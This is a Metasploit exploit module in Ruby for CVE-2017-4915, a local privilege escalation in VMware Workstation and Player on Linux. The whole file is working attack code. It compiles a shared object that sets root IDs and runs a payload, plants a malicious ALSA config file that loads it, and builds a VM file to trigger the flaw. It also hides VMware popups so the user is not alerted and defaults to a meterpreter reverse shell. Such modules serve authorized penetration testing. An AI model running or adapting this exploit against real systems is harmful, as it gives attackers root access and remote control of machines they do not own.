294 lines
8.8 KiB
Ruby
294 lines
8.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Linux::Kernel
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in VMware Workstation Pro and
|
|
Player on Linux which allows users to escalate their privileges by
|
|
using an ALSA configuration file to load and execute a shared object
|
|
as root when launching a virtual machine with an attached sound card.
|
|
|
|
This module has been tested successfully on VMware Player version
|
|
12.5.0 on Debian Linux 8 Jessie.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2017-4915' ],
|
|
[ 'EDB', '42045' ],
|
|
[ 'BID', '98566' ],
|
|
[ 'URL', 'https://www.securitytracker.com/id/1038525' ],
|
|
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
|
|
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
|
|
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Jann Horn', # Discovery and PoC
|
|
'bcoles' # Metasploit
|
|
],
|
|
'DisclosureDate' => '2017-05-22',
|
|
'Platform' => 'linux',
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
|
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'AppendExit' => true,
|
|
'PrependFork' => true,
|
|
'WfsDelay' => 30,
|
|
'Payload' => 'linux/x64/meterpreter_reverse_tcp'
|
|
},
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Privileged' => true,
|
|
'Notes' =>
|
|
{
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SAFE ]
|
|
},
|
|
'DefaultTarget' => 1))
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
|
|
OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0'])
|
|
]
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def mkdir(path)
|
|
vprint_status "Creating '#{path}' directory"
|
|
cmd_exec "mkdir -p #{path}"
|
|
register_dir_for_cleanup path
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
|
rm_f path
|
|
write_file path, data
|
|
register_file_for_cleanup path
|
|
end
|
|
|
|
def upload_and_chmodx(path, data)
|
|
upload path, data
|
|
chmod path
|
|
end
|
|
|
|
def strip_comments(c_code)
|
|
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
|
|
end
|
|
|
|
def upload_and_compile(path, data, gcc_args='')
|
|
upload "#{path}.c", data
|
|
|
|
gcc_cmd = "gcc -o #{path} #{path}.c"
|
|
if session.type.eql? 'shell'
|
|
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
|
end
|
|
|
|
unless gcc_args.to_s.blank?
|
|
gcc_cmd << " #{gcc_args}"
|
|
end
|
|
|
|
output = cmd_exec gcc_cmd
|
|
|
|
unless output.blank?
|
|
print_error output
|
|
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
|
end
|
|
|
|
register_file_for_cleanup path
|
|
chmod path
|
|
end
|
|
|
|
def check
|
|
unless command_exists? '/usr/bin/vmplayer'
|
|
print_error 'vmplayer is not installed. Exploitation will fail.'
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good 'vmplayer is installed'
|
|
|
|
unless has_gcc?
|
|
print_error 'gcc is not installed. Compiling will fail.'
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good 'gcc is installed'
|
|
|
|
config = read_file('/etc/vmware/config') rescue ''
|
|
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
|
|
version = Rex::Version.new $1.gsub(/\.$/, '')
|
|
vprint_status "VMware is version #{version}"
|
|
else
|
|
vprint_error 'Could not determine VMware version.'
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
if version >= Rex::Version.new('12.5.6')
|
|
vprint_error 'Target version is not vulnerable'
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
if !datastore['ForceExploit'] && is_root?
|
|
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
|
end
|
|
|
|
unless writable? base_dir
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6'
|
|
if home_dir.blank?
|
|
fail_with Failure::Unknown, "Could not find user's home directory"
|
|
end
|
|
|
|
unless writable? home_dir
|
|
fail_with Failure::BadConfig, "#{home_dir} is not writable"
|
|
end
|
|
|
|
# Create a directory for the virtual machine and associated files
|
|
vmx_name = rand_text_alphanumeric(10..15)
|
|
vm_dir = "#{base_dir}/#{vmx_name}"
|
|
mkdir vm_dir
|
|
|
|
# Create shared object
|
|
payload_name = rand_text_alphanumeric(10..15)
|
|
so_name = rand_text_alphanumeric(10..15)
|
|
so = <<-EOF
|
|
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
|
|
Original shared object code by jhorn
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <sys/prctl.h>
|
|
#include <err.h>
|
|
|
|
extern char *program_invocation_short_name;
|
|
|
|
__attribute__((constructor)) void run(void) {
|
|
uid_t ruid, euid, suid;
|
|
if (getresuid(&ruid, &euid, &suid))
|
|
err(1, "getresuid");
|
|
if (ruid == 0 || euid == 0 || suid == 0) {
|
|
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
|
err(1, "setresxid");
|
|
system("#{vm_dir}/#{payload_name}");
|
|
_exit(0);
|
|
}
|
|
}
|
|
EOF
|
|
|
|
upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99'
|
|
|
|
# Create virtual machine
|
|
vmx = <<-EOF
|
|
.encoding = "UTF-8"
|
|
config.version = "8"
|
|
virtualHW.version = "8"
|
|
scsi0.present = "FALSE"
|
|
memsize = "4"
|
|
ide0:0.present = "FALSE"
|
|
sound.present = "TRUE"
|
|
sound.fileName = "-1"
|
|
sound.autodetect = "TRUE"
|
|
vmci0.present = "FALSE"
|
|
hpet0.present = "FALSE"
|
|
displayName = "#{vmx_name}"
|
|
guestOS = "other"
|
|
nvram = "#{vmx_name}.nvram"
|
|
virtualHW.productCompatibility = "hosted"
|
|
gui.exitOnCLIHLT = "FALSE"
|
|
powerType.powerOff = "soft"
|
|
powerType.powerOn = "soft"
|
|
powerType.suspend = "soft"
|
|
powerType.reset = "soft"
|
|
floppy0.present = "FALSE"
|
|
monitor_control.disable_longmode = 1
|
|
EOF
|
|
|
|
upload "#{vm_dir}/#{vmx_name}.vmx", vmx
|
|
upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe
|
|
|
|
# Create ALSA sound config
|
|
asoundrc = <<-EOF
|
|
hook_func.pulse_load_if_running {
|
|
lib "#{vm_dir}/#{so_name}.so"
|
|
func "conf_pulse_hook_load_if_running"
|
|
}
|
|
EOF
|
|
|
|
upload "#{home_dir}/.asoundrc", asoundrc
|
|
|
|
# Hint popups must be disabled.
|
|
# Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user.
|
|
# Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install.
|
|
#
|
|
# VMware uses '~' to determine the user's home directory when reading the preferences file:
|
|
# stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory)
|
|
# open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory)
|
|
#
|
|
# If we're executing in a shell without '~' expansion,
|
|
# then we'll need to create this directory in the current working directory.
|
|
vprint_status 'Disabling VMware popups...'
|
|
|
|
unless cmd_exec("test -d ~ && echo true").include? 'true'
|
|
mkdir '~'
|
|
end
|
|
unless cmd_exec("test -d ~/.vmware && echo true").include? 'true'
|
|
mkdir '~/.vmware'
|
|
end
|
|
|
|
# Expand '~' to the appropriate full directory path and parse preferences
|
|
prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences"
|
|
unless file? prefs_file
|
|
cmd_exec "touch #{prefs_file}"
|
|
register_file_for_cleanup prefs_file
|
|
end
|
|
|
|
prefs = cmd_exec("cat #{prefs_file}").to_s
|
|
if prefs.blank?
|
|
prefs = ".encoding = \"UTF8\"\n"
|
|
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
|
|
prefs << "hints.hideAll = \"TRUE\"\n"
|
|
elsif prefs =~ /hints\.hideAll/i
|
|
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
|
|
else
|
|
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
|
|
end
|
|
vprint_status "Writing config file: #{prefs_file}"
|
|
write_file prefs_file, prefs
|
|
|
|
# Launch VMware in the background to prevent the existing session from dying
|
|
print_status 'Launching VMware Player...'
|
|
cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo "
|
|
end
|
|
end
|